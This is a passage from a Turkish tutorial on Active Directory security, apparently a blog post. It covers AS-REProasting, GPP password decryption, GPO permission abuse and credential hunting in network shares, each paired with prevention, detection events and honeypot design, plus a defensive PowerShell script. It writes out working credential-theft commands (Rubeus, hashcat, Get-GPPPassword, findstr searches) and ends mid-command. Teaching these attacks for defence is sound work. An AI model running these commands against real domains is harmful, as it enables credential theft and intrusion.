(Attack)</h4><p><strong>1. Adım — Hash’i elde etme:</strong></p><p>Yine Rubeus kullanılıyor, ama bu sefer asreproast eylemiyle. Kullanıcı belirtilmezse, ön kimlik doğrulaması kapalı <strong>her</strong> hesap için hash çıkarır:</p><pre>Rubeus.exe asreproast /outfile:asrep.txt</pre><p>Lab ortamında bu özelliğe sahip tek kullanıcı <strong>mdr</strong>. Rubeus, krysthal.local\mdr için ön-kimlik-doğrulamasız bir AS-REQ oluşturuyor ve karşılığında gelen hash&#39;i asrep.txt dosyasına yazıyor.</p><p><strong>2. Adım — hashcat için formatlama (önemli bir detay!):</strong></p><p>Rubeus’un çıkardığı ham hash, hashcat’in tanıyabilmesi için küçük bir düzenleme gerektiriyor: $krb5asrep$ ile hash arasına <strong>23$</strong> eklenmesi gerekiyor. Bu, hashcat&#39;e hangi Kerberos etype&#39;inin (23 = RC4-HMAC) kullanıldığını söylüyor. Bu adımı atlarsan hashcat hash&#39;i tanımaz.</p><p><strong>3. Adım — Çevrimdışı kırma:</strong></p><pre>hashcat -m 18200 -a 0 asrep.txt passwords.txt --outfile asrepcrack.txt --force</pre><p>Buradaki -m 18200, Kerberoasting&#39;deki 13100&#39;den farklı — çünkü bu <strong>farklı bir hash türü</strong> (AS-REP, TGS değil). --force parametresi bazı donanım uyarılarını bastırmak için ekleniyor.</p><p>Lab örneğinde parola birkaç saniyede kırılıyor ve sonuç <strong>mvp123</strong> olarak çıkıyor — yani mdr kullanıcısının gerçek parolası bu.</p><h4>Önleme (Prevention)</h4><p>Yine parola gücü meselesi ama burada ek bir incelik var:</p><ul><li><strong>Bu özelliği sadece gerçekten gerekliyse aç.</strong> Üç ayda bir hesapları gözden geçirip bu özelliğin gereksiz yere açık kalmadığından emin olmalısınız.</li><li><strong>Kritik gözlem:</strong> Bu özellik genellikle <strong>sıradan kullanıcı hesaplarında</strong> bulunur (servis hesaplarında değil), ve sıradan kullanıcılar SPN’li servis hesaplarına göre <strong>çok daha zayıf parolalar</strong> seçme eğilimindedir. Bu da AS-REProasting’i pratikte Kerberoasting’den bile daha tehlikeli yapabilir.</li><li><strong>Çözüm:</strong> Bu özelliğe sahip kullanıcılar için ayrı bir parola politikası tanımlayın — <strong>en az 20 karakter</strong> zorunluluğu getirin.</li></ul><h4>Tespit (Detection)</h4><p>Rubeus çalıştırıldığında <strong>Event ID 4768</strong> üretilir (Kerberos Authentication ticket’ın oluşturulduğunu gösterir).</p><p>Yine aynı sorun: bu event, Kerberos ile kimlik doğrulayan <strong>her</strong> kullanıcı için üretiliyor, yani hacmi çok yüksek. Ama Kerberoasting’den farklı olarak burada <strong>ekstra bir korelasyon imkanı</strong> var:</p><ul><li>Event’te kullanıcının <strong>nereden</strong> kimlik doğruladığı bilgisi var. Bu bilgiyi, bilinen normal giriş noktalarıyla karşılaştırıp anormal hash çıkarma girişimlerini tespit edebilirsiniz.</li><li>Belirli bir IP adresini izlemek zor olabilir (kullanıcı ofisler arasında hareket edebilir), ama <strong>VLAN seviyesinde</strong> izleme yapıp, o VLAN dışından gelen her isteği alarm olarak işaretlemek pratik bir yöntem.</li></ul><h4>Honeypot (Tuzak Hesap)</h4><p>Bu saldırı için honeypot kullanıcı oluşturmak mükemmel bir tespit opsiyonudur. Bu hesap, ortamda gerçek bir kullanımı/ihtiyacı olmayan bir kullanıcı olmalıdır — böylece bu hesap için yapılan herhangi bir giriş denemesi büyük olasılıkla kötü niyetlidir ve inceleme gerektirir.</p><p><strong>Ancak kritik bir uyarı:</strong> Eğer honeypot kullanıcı, ortamdaki <strong>“Kerberos Pre-Authentication kapalı”</strong> özelliğine sahip <strong>tek hesapsa</strong>, bu durumda daha iyi tespit yöntemleri tercih edilmelidir. Çünkü bu çok bariz olur — gelişmiş bir tehdit aktörü (advanced threat actor), ortamda bu özelliğe sahip yalnızca bir hesap olduğunu görünce bunun bir tuzak olduğunu tahmin eder ve <strong>bilerek bu hesapla etkileşime girmekten kaçınır.</strong></p><p><strong>Gerçek dünya anekdotu:</strong> Yazar, geçmişte bir organizasyondan şunu duyduğunu paylaşıyor: O organizasyon, uygulama gereksinimi nedeniyle bu özelliğe sahip <strong>sadece bir</strong> hesaba ihtiyaç duyuyordu ve “madem tek hesabımız var, saldırganlar bunun honeypot olduğunu düşünüp uzak durur” mantığıyla bir tür güvenlik sağlamaya çalışıyorlardı (security through obscurity — belirsizlik yoluyla güvenlik). <strong>Yazarın yorumu:</strong> Bu bazı durumlarda gerçekten işe yarayabilir, <strong>ama</strong> bir organizasyonun güvenlik duruşunu böyle “ufak bir umut ışığına” bağlamak doğru bir strateji değildir.</p><p><strong>İyi bir honeypot kullanıcısı için kriterler:</strong></p><ul><li>Hesap <strong>eski</strong> bir kullanıcı olmalı, ideal olarak artık kullanılmıyormuş gibi görünmeli (gelişmiş saldırganlar yeni hesaplar için bilet istemez çünkü güçlü parola ve honeypot olma ihtimali yüksektir).</li><li>Servis hesabı ise parola <strong>2+ yıllık</strong> olmalı, ama <strong>sıradan kullanıcı hesabıysa parola 1 yıldan eski olmamalı</strong> — çünkü normal kullanıcı hesaplarının çok eski parola yaşı şüphe çekebilir.</li><li>Hesabın, parola değiştirildikten <strong>sonra</strong> giriş kayıtları olması lazım. Yoksa “son parola değişikliği = son giriş tarihi” gibi bir çelişki, hesabın sahte olduğunu belli eder.</li><li>Hesabın bir miktar <strong>yetkiye</strong> sahip olması gerekir — yoksa parolasını kırmak saldırgan için cazip olmaz.</li></ul><p><strong>Lab örneği:</strong> Doküman, playground ortamında bu kriterleri <strong>svc-iam</strong> adlı kullanıcıya uyguluyor — bu hesap &quot;muhtemelen eski, artık kullanılmayan bir IAM (Identity and Access Management) hesabı kalıntısı&quot; olarak tanımlanıyor. Yukarıdaki tüm honeypot kriterleri bu hesaba uygulandığında, bu hesap için herhangi bir TGT isteği geldiğinde alarm üretilmesi öneriliyor.</p><p><strong>Kerberoasting vs AS-REProasting hızlı karşılaştırma:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*wKwg_QW2XTN0TJQl7FXZIA.png" /></figure><h3>BÖLÜM 5: GPP ŞİFRELERİ (GROUP POLICY PREFERENCES PASSWORDS)</h3><h4>Açıklama (Description)</h4><p><strong>SYSVOL</strong>’u hatırlayalım 1. Bölümde bahsetmiştik: tüm Domain Controller’larda bulunan, oturum açma betiklerini ve grup politikası verilerini içeren paylaşılan bir ağ klasörü. Tüm grup politikaları şu yolda saklanır: \\&lt;DOMAIN&gt;\SYSVOL\&lt;DOMAIN&gt;\Policies\.</p><p>Microsoft, <strong>Windows Server 2008</strong> ile <strong>Group Policy Preferences (GPP)</strong> özelliğini tanıttı. Bu özellik, belirli senaryolarda (örneğin bir hizmet hesabı oluşturma, yerel yönetici hesabı ayarlama, zamanlanmış görev tanımlama) <strong>kimlik bilgilerinin saklanmasına</strong> izin veriyordu — ve bunlar SYSVOL’daki politika klasöründe XML dosyaları içinde tutuluyordu.</p><p><strong>İşte asıl felaket burada:</strong> AD’nin bu XML dosyalarındaki parolaları şifrelemek için kullandığı <strong>AES anahtarı, tüm Active Directory ortamlarında aynıydı</strong> — ve Microsoft bu anahtarı <strong>kendi resmi dokümantasyonunda (MSDN) yayınladı!</strong> Yani şifreleme anahtarı herkese açıktı.</p><p>Bunu daha da kötü yapan şey: SYSVOL klasörüne domain’deki <strong>tüm “Authenticated Users”</strong> (kullanıcılar ve bilgisayarlar dahil, yani neredeyse herkes) erişebiliyor. Sonuç: kimlik bilgisi = şifreli metin + herkese açık anahtar → <strong>herkes tarafından çözülebilir parola.</strong></p><p>XML dosyasında parola, cpassword adlı bir özellik (property) içinde saklanıyor.</p><h4>Saldırı Adımları (Attack)</h4><p>Bu saldırı için PowerSploit araç setinden <strong>Get-GPPPassword</strong> fonksiyonu kullanılıyor. Bu fonksiyon, SYSVOL&#39;daki Policies klasöründeki <strong>tüm</strong> XML dosyalarını otomatik olarak tarar, cpassword özelliğine sahip olanları bulur ve <strong>otomatik olarak çözer:</strong></p><pre>Import-Module .\Get-GPPPassword.ps1<br>Get-GPPPassword</pre><p>Lab ortamında çalıştırıldığında şu sonuç çıkıyor:</p><ul><li><strong>Kullanıcı:</strong> svc-iis</li><li><strong>Parola:</strong> krysthal@123</li><li><strong>Dosya konumu:</strong> \\krysthal.LOCAL\SYSVOL\krysthal.local\Policies\{...}\Machine\Preferences\Groups\Groups.xml</li></ul><p>Dikkat et: hiçbir kırma (cracking) işlemi yok — bu <strong>doğrudan şifre çözme</strong> (decryption), çünkü anahtar zaten herkese açık. Bu, Kerberoasting/AS-REProasting’den çok daha “ucuz” bir saldırı — kaba kuvvet veya sözlük saldırısına gerek yok.</p><h4>Önleme (Prevention)</h4><p>Microsoft, bu anahtarın kötüye kullanıldığının fark edilmesinin ardından <strong>2014 yılında KB2962486 yamasını</strong> yayınladı — bu yamadan sonra GPP artık <strong>yeni</strong> parolaları önbelleğe almıyor/saklamıyor.</p><p>Ama burada <strong>kritik bir tuzak</strong> var, dikkatlice oku::</p><blockquote><strong><em>Bu yama sadece yeni kimlik bilgilerinin saklanmasını engeller — mevcut, zaten kayıtlı olan parolaları temizlemez.</em></strong></blockquote><p>Yani eğer bir organizasyonun AD ortamı <strong>2014&#39;ten önce</strong> kurulmuşsa, o zamandan kalma kimlik bilgileri hâlâ SYSVOL’da duruyor olabilir — yama sonradan uygulanmış olsa bile! Bu yüzden 2015 sonrası kurulan birçok ortamda bile hâlâ bu tür kimlik bilgilerine rastlanıyor (muhtemelen eski bir domain’den migrate edildiği veya eski GPO’lar kopyalandığı için). <strong>Öneri:</strong> ortamı düzenli olarak denetleyip SYSVOL’da açığa çıkmış kimlik bilgisi olmadığından emin olmak.</p><h4>Tespit (Detection)</h4><p>İki tespit yöntemi var:</p><p><strong>1) Dosya erişim denetimi (auditing):</strong> XML dosyasına erişim izlenebilir. Ama gerçek GPO’larla ilişkili dosyalarda bu çok fazla “gürültü” üretir (herkes düzenli olarak GPO senkronizasyonu yapar). <strong>Pratik çözüm:</strong> hiçbir GPO ile ilişkili olmayan <strong>sahte bir XML dosyası</strong> oluşturmak — bu dosyaya kimse normal şartlarda erişmemeli, herhangi bir erişim <strong>Event ID 4663</strong> üretir ve doğrudan şüpheli sayılır (Get-GPPPassword çalıştırıldığında Policies klasöründeki tüm dosyaları taradığı için bu tuzak dosyaya da dokunur).</p><p><strong>2) Kimlik bilgisi kullanım denetimi:</strong> Açığa çıkan hesabın oturum açma denemeleri izlenebilir — <strong>Event ID 4624</strong> (başarılı giriş), <strong>4625</strong> (başarısız giriş) veya <strong>4768</strong> (TGT isteği). Eğer hesap bir servis hesabıysa, girişin <strong>hangi cihazdan</strong> geldiğini de kontrol edebilirsiniz — servis hesabının normalde bağlanmaması gereken bir iş istasyonundan giriş denemesi gelirse, bu anormal davranıştır.</p><h4>Honeypot (Tuzak Hesap)</h4><p>Bu saldırı türü, honeypot kurmak için <strong>mükemmel bir fırsat</strong> sunuyor çünkü buradaki mantık öncekilerden farklı: <strong>yanlış parolalı</strong> yarı-yetkili bir kullanıcı kullanıyoruz.</p><p><strong>Servis hesabı neden ideal:</strong></p><ul><li>Parolasının eski ve düzenli değiştirilmemiş olması normal/beklenen bir durumdur</li><li><strong>Kritik teknik:</strong> Son parola değişikliği tarihinin, GPP XML dosyasının son değiştirilme tarihinden <strong>daha eski</strong> olduğundan emin olun. Eğer parola, dosya değiştirildikten <strong>sonra</strong> değiştirilmişse, saldırgan bu bilgiyle giriş yapmayı denemez bile (parolanın artık geçersiz olduğunu varsayar).</li><li>Bu hesap için düzenli <strong>sahte bir görev</strong> (dummy task) zamanlayın — böylece “son giriş zamanı” güncel kalır ve hesap gerçekmiş gibi görünür.</li></ul><p>Bu ayarlandıktan sonra, bu hesapla ilgili <strong>her türlü</strong> (başarılı veya başarısız) giriş denemesi kötü niyetli sayılabilir (tabii sahte görevin ürettiği normal girişleri alarm dışında tutarak).</p><p><strong>Parola yanlış olduğu için</strong> çoğunlukla <strong>başarısız</strong> giriş denemeleri beklenir. Bunu gösteren üç event ID: <strong>4625, 4771, 4776</strong> — hepsi “yanlış parolayla kimlik doğrulama denemesi” anlamına gelir ve lab ortamında saldırgan bu hesapla giriş denediğinde tam olarak bu üç event üretiliyor.</p><h3>BÖLÜM 6: GPO Permissions / GPO Files</h3><h4>Açıklama</h4><p><strong>GPO (Group Policy Object)</strong>, benzersiz bir isme sahip, sıfır veya daha fazla politika ayarı içeren sanal bir koleksiyondur. Active Directory’de <strong>en yaygın kullanılan yapılandırma yönetim aracıdır.</strong></p><p>GPO’lar, AD yapısındaki bir <strong>Organizational Unit (OU)</strong>’ya bağlanır (link) ve ayarları o OU’da (veya alt OU’larında) bulunan nesnelere uygulanır. GPO’ların kimlere uygulanacağı da kısıtlanabilir örneğin belirli bir AD grubuna (varsayılan olarak “Authenticated Users”a uygulanır) veya bir WMI filtresi ile (örneğin “sadece Windows 10 makinelere uygula” gibi).</p><p><strong>Sorun şurada başlıyor:</strong> Yeni bir GPO oluşturulduğunda, varsayılan olarak sadece <strong>Domain Admins</strong> (ve benzer yüksek yetkili roller) onu değiştirebilir. Ama gerçek ortamlarda, daha düşük yetkili hesaplara GPO üzerinde düzenleme izni <strong>devredilmiş</strong> (delegated) olabilir ve işte zayıflık bu.</p><p>Birçok organizasyonda, <strong>“Authenticated Users”</strong> veya <strong>“Domain Users”</strong> tarafından düzenlenebilen GPO’lar mevcuttur. Bu, ele geçirilen <strong>herhangi bir</strong> kullanıcının bu GPO’ları değiştirebileceği anlamına gelir. Saldırgan GPO’ya bir <strong>başlangıç betiği (startup script)</strong> veya <strong>zamanlanmış görev</strong> ekleyerek, o GPO’nun bağlı olduğu OU’lardaki <strong>tüm bilgisayar nesnelerini</strong> ele geçirebilir.</p><p><strong>İkinci bir saldırı vektörü daha var:</strong> GPO’nun kendisi doğru yapılandırılmış olsa bile, GPO aracılığıyla dağıtılan dosyalar (yazılım kurulumu, başlangıç betikleri vb.) bir <strong>ağ paylaşımında</strong> tutuluyorsa ve bu paylaşımın <strong>NTFS izinleri yanlış yapılandırılmışsa</strong>, saldırgan o dosyayı kendi kötü niyetli dosyasıyla <strong>değiştirebilir.</strong> Bu durumda GPO’da bir sorun yoktur, sorun dosya izinlerindedir.</p><h4>Saldırı:</h4><h4>Vektör 1: Mevcut GPO İzinleri Yanlış → GPO’yu Doğrudan Düzenleme</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*xwPOzBX4YasMEQjasPsQxw.png" /></figure><p>Normalde bir GPO’yu sadece Domain Admins düzenleyebilir. Ama birçok organizasyonda yöneticiler, kolaylık olsun diye GPO düzenleme yetkisini Authenticated Users veya Domain Users gibi geniş gruplara devreder. Bu durumda saldırgan (örneğin İnfa gibi sıradan bir kullanıcı) şunları yapabilir:</p><p><strong>Group Policy Management Console (GPMC)</strong> açılır → hedef GPO seçilir → şu değişikliklerden biri yapılır:</p><ul><li><strong>Startup Script ekleme:</strong> Computer Configuration → Policies → Windows Settings → Scripts → Startup altına bir .bat veya .ps1 dosyası eklenir. Her makine açılışında bu betik <strong>SYSTEM yetkisiyle</strong> çalışır — yani en yüksek yetkiyle.</li><li><strong>Scheduled Task ekleme:</strong> Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks altına yeni bir görev tanımlanır. Bu görev periyodik olarak veya bir tetikleyiciyle saldırganın kodunu çalıştırır.</li><li><strong>Yazılım yükleme:</strong> Computer Configuration → Policies → Software Settings → Software Installation altına bir .msi paketi eklenir — saldırganın hazırladığı zararlı yazılım tüm makinelere otomatik dağıtılır.</li></ul><p>Politika güncelleme döngüsü (varsayılan <strong>90 dakika</strong>) veya bilgisayar yeniden başlatıldığında, GPO’nun bağlı olduğu OU’daki <strong>her makine</strong> bu değişikliği uygular.</p><h4>Vektör 2: Mevcut GPO Doğru Ama Dosya İzinleri Yanlış</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*ALfKgzKI8uDbfX-gVietgg.png" /></figure><p>Bu daha sinsi bir senaryodur çünkü <strong>GPO’nun kendisinde hiçbir değişiklik yapılmıyor</strong>, dolayısıyla Event ID 5136 <strong>üretilmez</strong> ve standart GPO denetimi bunu yakalamaz.</p><p>Senaryo: Bir yönetici GPO ile bir startup script tanımlamış, bu script bir ağ paylaşımında tutuluyor (örneğin \\Server01\Scripts\setup.bat). GPO ayarları mükemmel — ama <strong>paylaşımın NTFS izinleri</strong> yanlış yapılandırılmış ve Domain Users bu dosyaya <strong>yazma izni</strong> olan bir grupta.</p><p>Saldırganın yapması gereken tek şey: o .bat dosyasının içeriğini kendi zararlı koduyla <strong>değiştirmek</strong>. Bir sonraki politika güncellemesinde veya makineler yeniden başladığında, GPO aynı dosyayı çalıştırmaya devam eder ama artık dosyanın içeriği saldırganın kodudur.</p><p>Kriter Vektör 1: GPO İzinleri Vektör 2: Dosya İzinleri Sorunun kaynağı GPO düzenleme yetkisi çok geniş gruba devredilmiş Ağ paylaşımının NTFS izinleri gevşek Ne değişiyor? GPO’nun kendisi (politika ayarları) GPO’nun çalıştırdığı dosyanın içeriği Teknik zorluk Düşük — GPMC veya PowerShell ile düzenleme Çok düşük — dosyayı üzerine yazma Event ID 5136 ✅ Üretilir — tespit kolay ❌ Üretilmez — tespit zor Tespit yöntemi Directory Service Changes denetimi Dosya hash kontrolü, dosya erişim denetimi (Event 4663) Etki alanı GPO’nun bağlı olduğu OU’daki tüm makineler GPO’nun bağlı olduğu OU’daki tüm makineler Çalışma yetkisi SYSTEM (en yüksek yetki) SYSTEM (en yüksek yetki) Tetiklenme zamanı Her 90 dk politika güncellemesi veya makine açılışı Her 90 dk politika güncellemesi veya makine açılışı</p><h4>Önleme (Prevention)</h4><p><strong>1) GPO izinlerini sıkılaştırma:</strong> GPO’yu yalnızca <strong>belirli bir grubun</strong> veya <strong>belirli bir hesabın</strong> düzenleyebilmesini sağlayın. Bu, düzenleme yapabilecek kişi sayısını ciddi ölçüde azaltır. “Domain Admins” grubundaki herkes düzenleyebilsin demek yerine (ki bazı organizasyonlarda bu grup kolayca <strong>50&#39;den fazla</strong> kişi içerebilir), özel bir grup oluşturup sadece o gruba düzenleme ve izin değiştirme yetkisi verin.</p><p><strong>2) Dosya izinlerini sıkılaştırma:</strong> GPO aracılığıyla dağıtılan dosyalar ağ paylaşımlarında tutuluyorsa, bu paylaşımlara <strong>geniş kullanıcı kitlelerinin yazma izni olmadığından</strong> emin olun.</p><p><strong>3) Düzenli ve otomatik denetim:</strong> GPO izinlerini aktif olarak ve düzenli aralıklarla gözden geçirin. Bunu otomatikleştirmek de mümkün <strong>saatte bir çalışan bir görev</strong> oluşturarak, beklenen izinlerden herhangi bir sapma tespit edildiğinde <strong>alarm üretilmesini</strong> sağlayabilirsiniz.</p><h4>Tespit</h4><p>Bir GPO değiştirildiğini tespit etmek neyse ki <strong>kolaydır.</strong> Eğer <strong>Directory Service Changes denetimi</strong> (auditing) etkinleştirildiyse, GPO her değiştirildiğinde <strong>Event ID 5136</strong> üretilir.</p><p>Savunma açısından yapılması gereken basit: GPO’yu değiştirme yetkisi <strong>olmaması gereken</strong> bir kullanıcı bu event’te görünürse, derhal kırmızı bayrak kaldırılmalıdır.</p><h4>Honeypot</h4><p><strong>Temel Mantık:</strong> Kolay tespit yöntemleri mevcut olduğu için, ortamda bilerek <strong>yanlış yapılandırılmış bir GPO</strong> bırakmak cazip bir seçenek. Aynı şekilde, GPO ile dağıtılan bir dosyanın hash değerini sürekli kontrol ederek, dosyanın değiştirilip değiştirilmediğini izlemek de mümkün.</p><p><strong>AMA — çok önemli bir uyarı:</strong> Bu teknikler <strong>yalnızca olgun ve proaktif bir güvenlik ekibine sahip organizasyonlar</strong> için önerilir. Neden? Çünkü gelecekte birisi bu GPO değişikliği yoluyla bir yetki yükseltme (escalation) yolu keşfederse ve organizasyon bunu <strong>anlık olarak</strong> engelleyemezse, tuzak <strong>geriye dönüp en zayıf nokta</strong> haline gelir, yani kendi silahınız size döner.</p><p><strong>Honeypot GPO kurulurken dikkat edilmesi gerekenler:</strong></p><ul><li>GPO <strong>yalnızca kritik olmayan sunuculara</strong> bağlanmalı (link)</li><li>GPO değişikliklerini izlemek için <strong>sürekli çalışan otomasyon</strong> kurulmalı</li><li>GPO dosyası değiştirilirse, değişikliği yapan kullanıcı <strong>derhal devre dışı</strong> bırakılmalı</li><li>Değişiklik tespit edilirse GPO <strong>otomatik olarak tüm konumlardan bağlantısı kesilmeli</strong> (unlink)</li></ul><p><strong>Örnek PowerShell otomasyon betiği:</strong></p><p>Bu betik, <strong>scheduled task</strong> olarak her <strong>15 dakikada</strong> bir çalışacak şekilde tasarlanmış. Mantığı şu:</p><ol><li>Son 15 dakikadaki <strong>Event ID 5136</strong> (GPO değiştirildi) kayıtlarını arar</li><li>Bu kayıtları belirli bir GUID ile (honeypot GPO’nun kimliği) filtreler</li><li>Eşleşme bulursa, değişikliği yapan kullanıcı(ları) tespit eder</li><li>Bu kullanıcıları <strong>anında devre dışı bırakır</strong> (Disable-ADAccount)</li><li>E-posta ile alarm gönderir (opsiyonel, betikteki Send-MailMessage yorum satırında)</li></ol><p>powershell</p><pre># Son 15 dakikalık filtre tanımla<br>$TimeSpan = (Get-Date) - (New-TimeSpan -Minutes 15)</pre><pre># Son 15 dakikada Event ID 5136 (GPO değiştirildi) ara<br>$Logs = Get-WinEvent -FilterHashtable `<br>  @{LogName=&#39;Security&#39;;id=5136;StartTime=$TimeSpan} -ErrorAction `<br>  SilentlyContinue | `<br>  Where-Object {$_.Properties[8].Value -match `<br>  &quot;CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=krysthal,DC=LOCAL&quot;}</pre><pre>if($Logs){<br>    $emailBody = &quot;Honeypot GPO &#39;73C66DBB-81DA-44D8-BDEF-20BA2C27056D&#39; was modified`r`n&quot;<br>    $disabledUsers = @()<br>    ForEach($log in $logs){<br>        If(((Get-ADUser -identity $log.Properties[3].Value).Enabled -eq `<br>        $true) -and ($log.Properties[3].Value -notin $disabledUsers)){<br>            Disable-ADAccount -Identity $log.Properties[3].Value<br>            $emailBody = $emailBody + &quot;Disabled user &quot; + `<br>            $log.Properties[3].Value + &quot;`r`n&quot;<br>            $disabledUsers += $log.Properties[3].Value<br>        }<br>    }<br>    # E-posta ile alarm gönder<br>    # Send-MailMessage<br>    $emailBody<br>}</pre><p><strong>15 dakika aralığının önemi:</strong> Betik her 15 dakikada bir çalıştığı için, bu süre zarfında <strong>birden fazla</strong> ele geçirilmiş kullanıcı GPO’yu değiştirmiş olabilir, betik hepsini tek seferde tespit edip devre dışı bırakır.</p><p><strong>Lab’da çalıştırıldığında sonuç:</strong></p><pre>Honeypot GPO &#39;73C66DBB-81DA-44D8-BDEF-20BA2C27056D&#39; was modified<br>Disabled user infa</pre><p>İnfa kullanıcısı, honeypot GPO’yu değiştirirken yakalandı ve anında devre dışı bırakıldı. Bu devre dışı bırakma işlemi de kendi başına bir event üretiyor: <strong>Event ID 4725</strong> (kullanıcı hesabı devre dışı bırakıldı).</p><p><strong>Bu bölümün özeti:</strong> Önceki bölümlerde (Kerberoasting, AS-REProasting, GPP) saldırgan <strong>parola elde etmeye</strong> çalışıyordu. Bu bölümde ise saldırgan parolaya ihtiyaç duymadan, <strong>yapılandırma değişikliği</strong> yaparak doğrudan kod çalıştırma peşinde. Savunma açısından güzel olan kısım şu: GPO değişikliklerini tespit etmek, Kerberos bilet isteklerini tespit etmekten <strong>çok daha kolay</strong> çünkü Event ID 5136&#39;nın hacmi, 4768/4769&#39;a göre çok çok düşük.</p><h3>BÖLÜM 7: KİMİLİK BİLGİSİ PAYLAŞIMI (CREDENTIALS IN SHARES)</h3><h4>Açıklama:</h4><p>Ağ paylaşımlarında açığa çıkmış kimlik bilgileri, <strong>Active Directory’de bugüne kadar en sık karşılaşılan yanlış yapılandırmadır</strong> (muhtemelen). Orta ve büyük ölçekli her kurumda neredeyse kesinlikle bulunur, küçük işletmelerde de rastlanabilir. Doküman bunu şöyle ifade ediyor: artık “parolanı ekranındaki yapışkan nota yazma” çağından, “şifrelenmemiş kimlik bilgilerini ve yetkilendirme token’larını her yere saçma” çağına geçtik.</p><p><strong>Kimlik bilgileri en çok nerede bulunur?</strong></p><ul><li><strong>Ağ paylaşımlarında:</strong> Betik ve yapılandırma dosyalarında, .bat, .cmd, .ps1 (PowerShell), .conf, .ini, .config dosyaları</li><li><strong>Kullanıcının yerel makinesinde:</strong> Metin dosyaları, Excel tabloları, Word belgeleri içinde</li></ul><p><strong>Kritik nokta:</strong> Ağ paylaşımlarındaki kimlik bilgileri, yerel makinedekilerden <strong>çok daha tehlikelidir</strong>, çünkü paylaşım, domain’deki <strong>her kullanıcı</strong> tarafından erişilebilir olabilir.</p><p><strong>Bir paylaşımın neden herkese açık hale geldiğinin dört ana nedeni:</strong></p><p><strong>1) Zamanla gevşetilen izinler:</strong> Bir yönetici başlangıçta doğru izinlerle paylaşım oluşturur, ama sonradan başka bir yönetici (veya kendisi) erişimi Everyone veya Users grubuna açar. Burada kritik bir <strong>yanlış anlama</strong> var: birçok yönetici, Users grubunun yalnızca o sunucuya yerel kullanıcıları içerdiğini düşünür, oysa AD ortamında bir sunucunun Users grubu, <strong>Domain Users</strong> grubunu üye olarak içerir. Yani Users demek = <strong>domain&#39;deki herkes</strong> demek.</p><p><strong>2) Paylaşılan klasör olduğunun fark edilmemesi:</strong> Birçok yönetici betiklerini test etmek için C:\scripts gibi bir klasör oluşturur, ama bu klasörün aslında ağda paylaşıldığını (shared) bilmeyebilir. Klasör paylaşılmışsa (örneğin Users grubuyla), betiklerin içindeki kimlik bilgileri de ağ üzerinden herkese açık hale gelir.</p><p><strong>3) Geçici paylaşımın unutulması:</strong> Bir sunucuya veri taşımak (uygulama, dosya vb.) amacıyla geçici olarak açık bir paylaşım oluşturulur ve <strong>sonra kapatılması unutulur.</strong></p><p><strong>4) Gizli paylaşımlar hakkında yanlış kanı ($ işareti):</strong> Adı $ ile biten paylaşımlar (örneğin dev$) &quot;gizli paylaşım&quot; olarak bilinir. Yaygın bir yanlış inanış, kullanıcıların bu paylaşımları <strong>yerini bilmeden bulamayacağıdır.</strong> Gerçek şu: Windows Explorer bu paylaşımları göstermez (çünkü $ ile biten isimleri gizler), ama <strong>diğer tüm araçlar</strong> (PowerView, net share, smbclient vb.) bunları rahatlıkla listeler. Yani $ sadece Explorer&#39;dan gizler, gerçek bir güvenlik katmanı değildir.</p><h4>Saldırı (Attack)</h4><p><strong>1. Adım: Domain’deki paylaşımları keşfetme:</strong></p><p>PowerView araç setinden <strong>Invoke-ShareFinder</strong> fonksiyonu kullanılıyor. Bu fonksiyon şunları yapabilir:</p><ul><li>Varsayılan paylaşımları filtreler (C$, IPC$ gibi) → -ExcludeStandard</li><li>Mevcut kullanıcının erişimi olup olmadığını kontrol eder → -CheckShareAccess</li></ul><p>powershell</p><pre>Invoke-ShareFinder -domain krysthal.local -ExcludeStandard -CheckShareAccess</pre><p>Lab ortamında bulunan sonuçlar:</p><pre>\\DC2.krysthal.local\NETLOGON         - Logon server share<br>\\DC2.krysthal.local\SYSVOL           - Logon server share<br>\\WS001.krysthal.local\Share          -<br>\\WS001.krysthal.local\Users          -<br>\\Server01.krysthal.local\dev$        -<br>\\DC1.krysthal.local\NETLOGON         - Logon server share<br>\\DC1.krysthal.local\SYSVOL           - Logon server share</pre><p>Lab ortamında az sayıda paylaşım var, ama <strong>gerçek üretim ortamlarında bu sayı binlere ulaşabilir</strong> (hepsini taramak uzun sürer).</p><p>Dikkat et: dev$ gizli paylaşım görünüyor. Windows Explorer ile Server01&#39;a göz atıldığında bu paylaşım <strong>görünmez</strong>, ama UNC yolu (\\Server01.krysthal.local\dev$) bilindiği için doğrudan gidildiğinde içeriği görülür.</p><p><strong>2. Adım — Paylaşımlarda kimlik bilgisi arama:</strong></p><p>Doküman burada bilinçli olarak otomatik araçlar yerine <strong>Living Off the Land</strong> yaklaşımını tercih ediyor ve Windows’un yerleşik <strong>findstr</strong> komutunu kullanıyor. Parametreler:</p><ul><li>/s — alt klasörler dahil tara</li><li>/i — büyük/küçük harf ayrımı yapma</li><li>/m — sadece eşleşen <strong>dosya adını</strong> göster (içeriği değil). Bu, gerçek ortamlarda <strong>çok kritik</strong> — çünkü /m olmadan, örneğin pass araması yapıldığında, PowerShell betiklerindeki her PassThru parametresi de eşleşir ve <strong>binlerce satır</strong> geri döner.</li></ul><p><strong>Arama 1 — “pass” terimi:</strong></p><p>powershell</p><pre>cd \\Server01.krysthal.local\dev$<br>findstr /m /s /i &quot;pass&quot; *.bat    # sonuç yok<br>findstr /m /s /i &quot;pass&quot; *.cmd    # sonuç yok<br>findstr /m /s /i &quot;pass&quot; *.ini    # setup.ini bulundu<br>findstr /m /s /i &quot;pass&quot; *.config # 4\5\4\web.config bulundu</pre><p><strong>Arama 2 — “pw” terimi:</strong></p><p>powershell</p><pre>findstr /m /s /i &quot;pw&quot; *.config<br># 5\2\3\microsoft.config bulundu</pre><pre>findstr /s /i &quot;pw&quot; *.config    # /m olmadan → içerik de gösterilir<br># 5\2\3\microsoft.config:pw BANANANANANANANANANANANANNAANANANANAS</pre><p><strong>Arama 3 — Domain’in NetBIOS adı (çok akıllıca ve az bilinen bir teknik!):</strong></p><p>runas ve net use gibi komutlar, parolayı pass veya pw gibi bir etiketle değil, <strong>pozisyonel argüman</strong> olarak alır: /user:DOMAIN\USERNAME PASSWORD formatında. Bu yüzden pass veya pw aramak bu tür kimlik bilgilerini <strong>kaçırır</strong> — ama domain adı olan <strong>krysthal</strong> ile aramak yakalar:</p><p>powershell</p><pre>findstr /m /s 